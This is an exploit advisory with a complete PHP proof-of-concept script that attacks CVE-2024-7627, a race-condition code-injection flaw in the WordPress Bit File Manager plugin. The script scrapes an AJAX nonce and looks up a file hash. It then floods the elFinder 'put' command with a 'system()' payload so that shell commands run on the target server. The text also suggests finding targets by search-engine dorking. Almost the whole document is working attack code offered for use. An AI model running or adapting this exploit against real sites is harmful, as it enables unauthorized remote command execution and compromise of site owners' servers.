=============================================================================================================================================
| # Title     : WordPress Bit File Manager 6.5.5 Race Condition php code injection                                                          |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits)                                                            |
| # Vendor    : https://wordpress.org/plugins/file-manager/                                                                                 |
=============================================================================================================================================

POC :

[+] Dorking İn Google Or Other Search Enggine.

[+] Code Description: exploiting Remote Command Execution Vulnerability via Race Condition in Vulnerable WordPress Plugins Using elFinder

    (Related : https://packetstorm.news/files/id/189176/ Related CVE numbers: CVE-2024-7627 ) .
	
[+] save code as poc.php.

[+] Set Target : line 112.

[+] Usage : php poc.php 

[+] PayLoad :

<?php
class Poc {
    private $targetBaseUrl;
    private $session;
    private $raceConditionJobs;
    private $ELFINDER_AJAX_ACTION = 'bit_fm_connector_front';
    private $READ_DIRECTORY_FILES_ELFINDER_COMMAND = 'open';
    private $EDIT_FILE_ELFINDER_COMMAND = 'put';
    private $AJAX_ENDPOINT;
    private $PHP_PAYLOAD = '<?php system("{cmd}");?>';
    private $EDITED_TEMPORARY_FILE_URL;

    public function __construct($targetBaseUrl, $raceConditionJobs = 50) {
        $this->targetBaseUrl = $targetBaseUrl;
        $this->session = curl_init();
        $this->raceConditionJobs = $raceConditionJobs;
        $this->AJAX_ENDPOINT = $this->targetBaseUrl . '/wp-admin/admin-ajax.php';
        $this->EDITED_TEMPORARY_FILE_URL = $this->targetBaseUrl . '/wp-content/uploads/file-managertemp.php';
    }

    public function getAjaxNonce($fileManagerPostPath) {
        echo '[*] Getting a valid AJAX nonce...' . PHP_EOL;
        $fileManagerPostUrl = $this->targetBaseUrl . $fileManagerPostPath;
        curl_setopt($this->session, CURLOPT_URL, $fileManagerPostUrl);
        curl_setopt($this->session, CURLOPT_RETURNTRANSFER, 1);
        $responseText = curl_exec($this->session);

        preg_match('/var fm = (.*);/', $responseText, $matches);
        if (empty($matches)) {
            echo '[-] Unable to get a valid AJAX nonce' . PHP_EOL;
            exit(0);
        }

        $parsedJsonObject = json_decode($matches[1], true);
        $ajaxNonce = $parsedJsonObject['nonce'];
        echo '[+] Found the valid AJAX nonce: ' . $ajaxNonce . PHP_EOL;
        return $ajaxNonce;
    }

    public function getRandomFileHash($nonce) {
        echo '[*] Getting a random file\'s hash via elFinder command "' . $this->READ_DIRECTORY_FILES_ELFINDER_COMMAND . '"...' . PHP_EOL;
        $bodyData = [
            'action' => $this->ELFINDER_AJAX_ACTION,
            'nonce' => $nonce,
            'cmd' => $this->READ_DIRECTORY_FILES_ELFINDER_COMMAND,
            'init' => '1'
        ];

        $ch = curl_init($this->AJAX_ENDPOINT);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($bodyData));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $jsonResponse = json_decode(curl_exec($ch), true);
        
        if (isset($jsonResponse['error'])) {
            echo '[-] Unable to get a random file\'s hash' . PHP_EOL;
            exit(0);
        }

        $currentWorkingDirectoryFiles = $jsonResponse['files'];
        foreach ($currentWorkingDirectoryFiles as $file) {
            if (isset($file['hash']) && isset($file['name']) && $file['mime'] !== 'directory') {
                $fileHash = $file['hash'];
                $filename = $file['name'];
                break;
            }
        }

        echo '[+] Found file "' . $filename . '" with hash "' . $fileHash . '"!' . PHP_EOL;
        return $fileHash;
    }

    public function executeEditFileRaceCondition($nonce, $fileHash, $commandToExecute) {
        echo '[*] Editing file with hash "' . $fileHash . '" via elFinder command "' . $this->EDIT_FILE_ELFINDER_COMMAND . '" and getting the edited temporary PHP file at "' . $this->EDITED_TEMPORARY_FILE_URL . '"...' . PHP_EOL;

        $bodyData = [
            'action' => $this->ELFINDER_AJAX_ACTION,
            'nonce' => $nonce,
            'cmd' => $this->EDIT_FILE_ELFINDER_COMMAND,
            'target' => $fileHash,
            'content' => str_replace('{cmd}', $commandToExecute, $this->PHP_PAYLOAD)
        ];

        $results = [];
        for ($i = 0; $i < $this->raceConditionJobs; $i++) {
            $ch = curl_init($this->AJAX_ENDPOINT);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($bodyData));
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $results[] = curl_exec($ch);
        }

        foreach ($results as $responseText) {
            if (empty($responseText)) {
                echo '[-] Failed to read the edited temporary PHP file in time' . PHP_EOL;
                continue;
            }

            echo '[+] We won the race condition! Here\'s the PHP payload result:' . PHP_EOL;
            echo $responseText . PHP_EOL;
            break;
        }
    }

    public function exploit($fileManagerPostPath, $commandToExecute) {
        $ajaxNonce = $this->getAjaxNonce($fileManagerPostPath);
        $fileHash = $this->getRandomFileHash($ajaxNonce);
        $this->executeEditFileRaceCondition($ajaxNonce, $fileHash, $commandToExecute);
    }
}

$targetBaseUrl = 'http://localhost'; // Change to the target URL
$fileManagerPostPath = '/?p=6'; // Change to the correct path
$commandToExecute = 'whoami; id; hostname'; // Command to execute

$poc = new Poc($targetBaseUrl);
$poc->exploit($fileManagerPostPath, $commandToExecute);
?>



Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================